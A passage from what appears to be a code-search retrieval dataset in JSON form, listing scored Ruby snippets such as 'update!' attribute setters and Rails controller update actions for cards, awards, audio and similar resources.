"text": "def update!(**args)\n @audience = args[:audience] if args.key?(:audience)\n @cost = args[:cost] if args.key?(:cost)\n @customer_data = args[:customer_data] if args.key?(:customer_data)\n @description = args[:description] if args.key?(:description)\n @owners = args[:owners] if args.key?(:owners)\n @questions = args[:questions] if args.key?(:questions)\n @rejection_reason = args[:rejection_reason] if args.key?(:rejection_reason)\n @state = args[:state] if args.key?(:state)\n @survey_url_id = args[:survey_url_id] if args.key?(:survey_url_id)\n @title = args[:title] if args.key?(:title)\n @wanted_response_count = args[:wanted_response_count] if args.key?(:wanted_response_count)\n end",
"title": ""
},
{
"docid": "f25c1f1f6ad9c1646fe40dba61bf127b",
"score": "0.5006761",
"text": "def update!(**args)\n @audience = args[:audience] if args.key?(:audience)\n @grant_type = args[:grant_type] if args.key?(:grant_type)\n @options = args[:options] if args.key?(:options)\n @requested_token_type = args[:requested_token_type] if args.key?(:requested_token_type)\n @scope = args[:scope] if args.key?(:scope)\n @subject_token = args[:subject_token] if args.key?(:subject_token)\n @subject_token_type = args[:subject_token_type] if args.key?(:subject_token_type)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "215e247ec23e153668686e3c1c276a44",
"score": "0.5005468",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "cf49c2f5b9b3a9b7fd60daa95fbd8ad9",
"score": "0.5001226",
"text": "def update\n @award = Award.find(params[:id])\n\n respond_to do |format|\n if @award.update_attributes(params[:award])\n format.html { redirect_to @award, notice: 'Award was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @award.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "88b4f193aa6be7d2793f39bc5544fda5",
"score": "0.49791455",
"text": "def set_coach_name(new_name)\n @coach = new_name\nend",
"title": ""
},
{
"docid": "bf0ac636af0d3f417bf2cfdc9830d858",
"score": "0.49715877",
"text": "def update!(**args)\n @apple_sign_in_config = args[:apple_sign_in_config] if args.key?(:apple_sign_in_config)\n @client_id = args[:client_id] if args.key?(:client_id)\n @client_secret = args[:client_secret] if args.key?(:client_secret)\n @enabled = args[:enabled] if args.key?(:enabled)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "40e6afeacbaf5f3d94044bbb99fa3eac",
"score": "0.4956362",
"text": "def update\n params.permit!\n @hr_attendence = Hr::Attendence.find(params[:id])\n\n respond_to do |format|\n if @hr_attendence.update_attributes(params[:hr_attendence])\n format.html { redirect_to(@hr_attendence, :notice => 'Attendence was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hr_attendence.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aeed79b3a86c03222eb4b93a107c8993",
"score": "0.49481386",
"text": "def update!(**args)\n @conversation_profile = args[:conversation_profile] if args.key?(:conversation_profile)\n @lifecycle_state = args[:lifecycle_state] if args.key?(:lifecycle_state)\n @name = args[:name] if args.key?(:name)\n @phone_number = args[:phone_number] if args.key?(:phone_number)\n end",
"title": ""
},
{
"docid": "e45081cdd1b3c0db88dcd248f00e3c82",
"score": "0.49396878",
"text": "def update_user_name(uid, name)\n @scores[uid]['name'] = name\n end",
"title": ""
},
{
"docid": "b70b7b67f83904c508e03c22c8d9276b",
"score": "0.49377558",
"text": "def update_consent_profile_by_access_token(access_token, consent_update_model)\n if isNullOrWhiteSpace(access_token)\n raise LoginRadius::Error.new, getValidationMessage('access_token')\n end\n if consent_update_model.blank?\n raise LoginRadius::Error.new, getValidationMessage('consent_update_model')\n end\n\n query_parameters = {}\n query_parameters['access_token'] = access_token\n query_parameters['apiKey'] = @api_key\n\n resource_path = 'identity/v2/auth/consent'\n put_request(resource_path, query_parameters, consent_update_model)\n end",
"title": ""
},
{
"docid": "4d2a0e58dc9bebe78fa90ac8573c3d87",
"score": "0.49284685",
"text": "def update\n respond_to do |format|\n if @skill_name.update(skill_name_params)\n format.html { redirect_to @skill_name, notice: 'Skill name was successfully updated.' }\n format.json { render :show, status: :ok, location: @skill_name }\n else\n format.html { render :edit }\n format.json { render json: @skill_name.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ac926509f83729dd8f210fcc630d1c22",
"score": "0.49227932",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @ssml_gender = args[:ssml_gender] if args.key?(:ssml_gender)\n end",
"title": ""
},
{
"docid": "a14f6084e5f19791d8af371f27b0fbcf",
"score": "0.49098554",
"text": "def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end",
"title": ""
},
{
"docid": "c71bcb216513f6f341faec69beeba9e1",
"score": "0.4908643",
"text": "def afp_name=(new_name)\n return if new_name == @resource.should(:share_name)\n @share_edit_args += [ \"-A\", new_name ]\n end",
"title": ""
},
{
"docid": "6e302e146939054a3eb70303e7ea5d99",
"score": "0.49052462",
"text": "def update!(**args)\n @gaia_id = args[:gaia_id] if args.key?(:gaia_id)\n @user_name = args[:user_name] if args.key?(:user_name)\n end",
"title": ""
},
{
"docid": "6e302e146939054a3eb70303e7ea5d99",
"score": "0.49052462",
"text": "def update!(**args)\n @gaia_id = args[:gaia_id] if args.key?(:gaia_id)\n @user_name = args[:user_name] if args.key?(:user_name)\n end",
"title": ""
},
{
"docid": "79afd818df4d8f8de7631f90f6d89189",
"score": "0.49006116",
"text": "def update_audience_customers_attributes_with_http_info(audience_id, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IntegrationApi.update_audience_customers_attributes ...'\n end\n # verify the required parameter 'audience_id' is set\n if @api_client.config.client_side_validation && audience_id.nil?\n fail ArgumentError, \"Missing the required parameter 'audience_id' when calling IntegrationApi.update_audience_customers_attributes\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling IntegrationApi.update_audience_customers_attributes\"\n end\n # resource path\n local_var_path = '/v2/audience_customers/{audienceId}/attributes'.sub('{' + 'audienceId' + '}', CGI.escape(audience_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(body) \n\n # return_type\n return_type = opts[:return_type] \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key_v1']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IntegrationApi#update_audience_customers_attributes\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "f2b07519d1b959430b560e9db936d80b",
"score": "0.48974332",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @scopes = args[:scopes] if args.key?(:scopes)\n @url = args[:url] if args.key?(:url)\n end",
"title": ""
},
{
"docid": "3045d40f88357514a1ad1ae6ea044ae1",
"score": "0.48961285",
"text": "def update!(**args)\n @new_name = args[:new_name] if args.key?(:new_name)\n @prev_name = args[:prev_name] if args.key?(:prev_name)\n end",
"title": ""
},
{
"docid": "ea13f54a012e5c82f290f0695819384c",
"score": "0.48930797",
"text": "def update\n recording = Recording.find(params[:id])\n recording.update(recordings_params(:name, :active))\n redirect_to users_active_recordings(current_user)\n end",
"title": ""
},
{
"docid": "6e5a56190d850ff832f7dc4ecbd1e3ca",
"score": "0.48720342",
"text": "def update\n @talent = Talent.find(params[:id])\n if @talent.update_attributes(talent_params)\n flash[:success] = 'Talent was successfully updated.'\n redirect_to @talent\n else\n render \"edit\"\n end\n end",
"title": ""
},
{
"docid": "f3ea63eb04bc9abfb28560d718aa32a2",
"score": "0.48656476",
"text": "def update\n respond_to do |format|\n if @voice_campaign.update(voice_campaign_params)\n format.html { redirect_to @voice_campaign, notice: 'Voice campaign was successfully updated.' }\n format.json { render :show, status: :ok, location: @voice_campaign }\n else\n format.html { render :edit }\n format.json { render json: @voice_campaign.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b62966707a89b24697806d2eb850ca1c",
"score": "0.4858045",
"text": "def update\n\t\t@award = Award.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @award.update_attributes(params[:award])\n\t\t\t\tformat.html { redirect_to(@award, :notice => 'Payment type was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @award.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2d85b80fca3a87436565c13c94d6d23c",
"score": "0.4857656",
"text": "def update_wage_setting(team_member_id:,\n body:)\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v2/team-members/{team_member_id}/wage-setting'\n _query_builder = APIHelper.append_url_with_template_parameters(\n _query_builder,\n 'team_member_id' => { 'value' => team_member_id, 'encode' => true }\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.put(\n _query_url,\n headers: _headers,\n parameters: body.to_json\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end",
"title": ""
},
{
"docid": "18726b84d60c2042cf640ebf23ea6afc",
"score": "0.48569608",
"text": "def update\n @audio = Audio.find(params[:id])\n\n respond_to do |format|\n if @audio.update_attributes(params[:audio])\n format.html { redirect_to @audio, :notice => 'Audio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @audio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dae22c84c333b06d2fa4d161caddb725",
"score": "0.48547187",
"text": "def update\n @attendence = Attendence.find(params[:id])\n\n respond_to do |format|\n if @attendence.update_attributes(params[:attendence])\n format.html { redirect_to @attendence, notice: 'Attendence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attendence.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c35b5cf7a70ded42ae7ff7a68078b3",
"score": "0.48543692",
"text": "def update\n @audio = Audio.find(params[:id])\n\n respond_to do |format|\n if @audio.update_attributes(params[:audio])\n format.html { redirect_to @audio, notice: 'Audio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @audio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e53d68803692ef1751911c5fa82276ce",
"score": "0.48540002",
"text": "def update(id, name=nil, notes=nil, custom_quota=nil)\n _params = {:id => id, :name => name, :notes => notes, :custom_quota => custom_quota}\n return @master.call 'subaccounts/update', _params\n end",
"title": ""
},
{
"docid": "52afebe71940ea2549ff277ad0f21e47",
"score": "0.48495418",
"text": "def update!(**args)\n @merchant_account_id = args[:merchant_account_id] if args.key?(:merchant_account_id)\n @name = args[:name] if args.key?(:name)\n @quantity = args[:quantity] if args.key?(:quantity)\n @value = args[:value] if args.key?(:value)\n end",
"title": ""
},
{
"docid": "7f6d76ece82b2b31a9743b2f8b66565d",
"score": "0.48454377",
"text": "def update!(**args)\n @name = args[:name] unless args[:name].nil?\n end",
"title": ""
},
{
"docid": "569cc593ad8f3395ff394abc94c97d8a",
"score": "0.48439705",
"text": "def update!(**args)\n @access_levels = args[:access_levels] if args.key?(:access_levels)\n @audiences = args[:audiences] if args.key?(:audiences)\n @claims = args[:claims] if args.key?(:claims)\n @presenter = args[:presenter] if args.key?(:presenter)\n @principal = args[:principal] if args.key?(:principal)\n end",
"title": ""
},
{
"docid": "81c7153f7a1112569e53399963cae1c7",
"score": "0.48435563",
"text": "def update!(**args)\n @client_id = args[:client_id] if args.key?(:client_id)\n @client_secret = args[:client_secret] if args.key?(:client_secret)\n @display_name = args[:display_name] if args.key?(:display_name)\n @enabled = args[:enabled] if args.key?(:enabled)\n @issuer = args[:issuer] if args.key?(:issuer)\n @name = args[:name] if args.key?(:name)\n @response_type = args[:response_type] if args.key?(:response_type)\n end",
"title": ""
},
{
"docid": "aa690f01d8dc63b89b23b8652f615bcf",
"score": "0.4842252",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @account_name = args[:account_name] if args.key?(:account_name)\n @type = args[:type] if args.key?(:type)\n @role = args[:role] if args.key?(:role)\n @state = args[:state] if args.key?(:state)\n end",
"title": ""
},
{
"docid": "0557428c876707682ac2702872ae0081",
"score": "0.48407394",
"text": "def set_name(a_name)\n @name = a_name\n end",
"title": ""
},
{
"docid": "2ce1a62fd9a7d05f015552d2d3dc3fe4",
"score": "0.48371723",
"text": "def update!(**args)\n @new_name = args[:new_name] if args.key?(:new_name)\n @original_name = args[:original_name] if args.key?(:original_name)\n end",
"title": ""
},
{
"docid": "00075afef389f7d85a15bd1023523784",
"score": "0.4836689",
"text": "def update_album(person_id,album_id, caption, location='', privacy='Everyone')\n @restv9.update_album(person_id,album_id, caption, location, privacy)\n end",
"title": ""
},
{
"docid": "7bef39bbda978adc33d420929bfbd547",
"score": "0.4835001",
"text": "def update\n @audio = Audio.find(params[:id])\n\n respond_to do |format|\n if @audio.update_attributes(params[:audio])\n format.html { redirect_to(@audio, :notice => 'Audio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @audio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "681e62c523b4bc8056de70e4eb6e9926",
"score": "0.4834604",
"text": "def audience\n @audience\n end",
"title": ""
},
{
"docid": "255ddee2ccfe3b224cd0d1fad5c54e31",
"score": "0.48344222",
"text": "def update\n user = User.find(params[:id])\n\n user.attributes = {\n name: params[:name]\n }\n\n user_save user\n end",
"title": ""
},
{
"docid": "9c41d83503c785922f4cfd03e4ca6be1",
"score": "0.48267725",
"text": "def update!(**args)\n @ad_phone = args[:ad_phone] if args.key?(:ad_phone)\n end",
"title": ""
}
] |
43d76fd67a610f04e082141de5cc939a
|
PATCH/PUT /cards/1 PATCH/PUT /cards/1.json
|
[
{
"docid": "594d38662e36a95f13efe45f88b8233d",
"score": "0.7009726",
"text": "def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "d8d0b4b63c9b4439627ebe60ea30f388",
"score": "0.74140495",
"text": "def update\n # @card = Card.find(params[:id])\n # @card.update(card_params)\n # render json: @card\n end",
"title": ""
},
{
"docid": "6a5dceefca34a24e4ef4235ad3bf489f",
"score": "0.73639387",
"text": "def update\n #@card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to cards_url, :notice => 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "037bc76596d5f77a4eba85757b0a4140",
"score": "0.7333247",
"text": "def update\n respond_to do |format|\n if @card.update(card_params)\n format.json { render json: {}, status: :ok }\n else\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e654c938d6d79d4c5b47a599a0a837d1",
"score": "0.73229885",
"text": "def update\n @card.update(card_params)\n if @card.errors.any?\n render json: @card.errors, status: :unprocessable_entity\n else\n render json: @card, status: 201\n end\n end",
"title": ""
},
{
"docid": "65b0c8454efa706fa84d90b35b1c250c",
"score": "0.72622305",
"text": "def update\n @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "65b0c8454efa706fa84d90b35b1c250c",
"score": "0.72622305",
"text": "def update\n @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "65b0c8454efa706fa84d90b35b1c250c",
"score": "0.72622305",
"text": "def update\n @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "70c7c8adbe7426897d82a057836258cd",
"score": "0.7232927",
"text": "def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to tarot_cards_path(@tarot), notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "94da2c5f7954c8f79875caa9bb78e392",
"score": "0.722157",
"text": "def update\n if @card.update(card_params)\n render json: @card, status: :created\n else\n render json: @card.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "31effeeda3f06c8735776da16a02f850",
"score": "0.72161",
"text": "def update\n @card = Card.find(params[:id])\n\n if @card.update(card_params)\n head :no_content\n else\n render json: @card.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "92163bf23ef7aae54a33452929f2cf64",
"score": "0.7201244",
"text": "def update\n @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(card_params)\n format.html { redirect_to action: :index }\n format.json { head :no_content }\n flash[:notice] = 'Card was successfully updated.'\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9532ccc2ac1d36f307f79d6b5690b9a6",
"score": "0.7177025",
"text": "def update\n @card = @deck.cards.find(params[:id])\n respond_to do |format|\n if @card.update_attributes(card_params)\n format.html { redirect_to deck_path(@deck), notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: deck_card_path(@deck, @card) }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4971c2089fdd85d7cc2fbe78e3aa1938",
"score": "0.709452",
"text": "def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to cards_path, notice: t(\".successfully_updated\") }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7309423c7306a409479aed8ba06852b1",
"score": "0.7010836",
"text": "def update\n @card = Card.find(params[:id])\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, flash: { success: \"Updated the card!\" } }\n format.json { render json: @card, status: :ok }\n else\n format.html {\n flash[:danger] = \"Error : Failed to update card.\"\n render :edit\n }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "571034d2416fd8da04d3cd165e68eee9",
"score": "0.696655",
"text": "def update\n respond_to do |format|\n puts \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\"\n puts card_params\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "07140be8045a47c348619c3a2d251f3a",
"score": "0.6961123",
"text": "def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to deck_cards_path(@deck, @card), notice: 'Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "df239a1ebcaa578a7e165a4238c20198",
"score": "0.69040227",
"text": "def update\n @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n notify_admin(\"Card Updated (#{@card.last_three_digits})\", @card.as_json)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "855a96147346f92b712cc08607c4da3a",
"score": "0.6847519",
"text": "def update\n @card = Card.find(params[:id])\n respond_to do |format|\n if @card.update_attributes(params[:card])\n flash[:notice] = 'Card was successfully updated.'\n format.html { redirect_to(deck_card_url(@deck, @card)) }\n format.xml { head :ok }\n else\n @decks = Deck.find(:all, :order => 'title')\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cca202f895a5b2a59ec06806f483b06e",
"score": "0.67987245",
"text": "def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to plan_path(@plan), notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a5845be65556352c03e544f9045f85b",
"score": "0.6798051",
"text": "def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Cartão atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64debdb2d00485c1c06ea6d376d1cf1d",
"score": "0.6779436",
"text": "def update\n # @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n flash[:notice] = 'Card was successfully updated.'\n format.html { redirect_to(@card) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xmll => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bb6f026c9930dbc7f2ba0b162282c59f",
"score": "0.67662907",
"text": "def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to @card, notice: 'Tarjeta Actualizada Satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @card }\n else\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "20e8be12ac76d29a2e0f57e201beba88",
"score": "0.6763877",
"text": "def update\n respond_to do |format|\n if @poker_card.update(poker_card_params)\n format.html { redirect_to @poker_card, notice: 'Poker card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @poker_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f6ddf2fbb8b44754e0cad0708dc32c53",
"score": "0.67300475",
"text": "def update\n @card_set = CardSet.find(params[:id])\n\n respond_to do |format|\n if @card_set.update_attributes(params[:card_set])\n format.html { redirect_to @card_set, notice: 'Card set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5d3692abdc7bbcb5165ac88e3c8b0341",
"score": "0.6658542",
"text": "def update\n respond_to do |format|\n if @entry_card.update(entry_card_params)\n format.html { redirect_to @entry_card, notice: 'Entry card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @entry_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5695d5e12920495559f92290ee573f16",
"score": "0.66418093",
"text": "def update\n respond_to do |format|\n if @m_card.update(m_card_params)\n format.html { redirect_to @m_card, notice: 'M card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @m_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8cd37ea3fa4c8c6ce627db82616bd9f6",
"score": "0.65683216",
"text": "def update!(**args)\n @cards = args[:cards] if args.key?(:cards)\n end",
"title": ""
},
{
"docid": "059c5c752682984374af447ab2a36e3c",
"score": "0.6564143",
"text": "def update\n respond_to do |format|\n if @side_card.update(side_card_params)\n format.html { redirect_to @side_card, notice: 'Side card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @side_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "669e80dfa29bc4094ef2aab19c88e64e",
"score": "0.65592676",
"text": "def update\n respond_to do |format|\n if @wallet.update_card(params[:id], card_params)\n format.html { redirect_to wallet_path, notice: 'Card was successfully updated.' }\n format.json { render json: @wallet, status: :ok, location: wallet_path }\n else\n @card = @wallet.find_card(params[:id])\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "00d9809c6c9595a5dd10f76f94ffa0e5",
"score": "0.654919",
"text": "def update\n @scorecard = Scorecard.find(params[:id])\n\n respond_to do |format|\n if @scorecard.update_attributes(params[:scorecard])\n format.html { redirect_to @scorecard, notice: 'Scorecard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scorecard.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
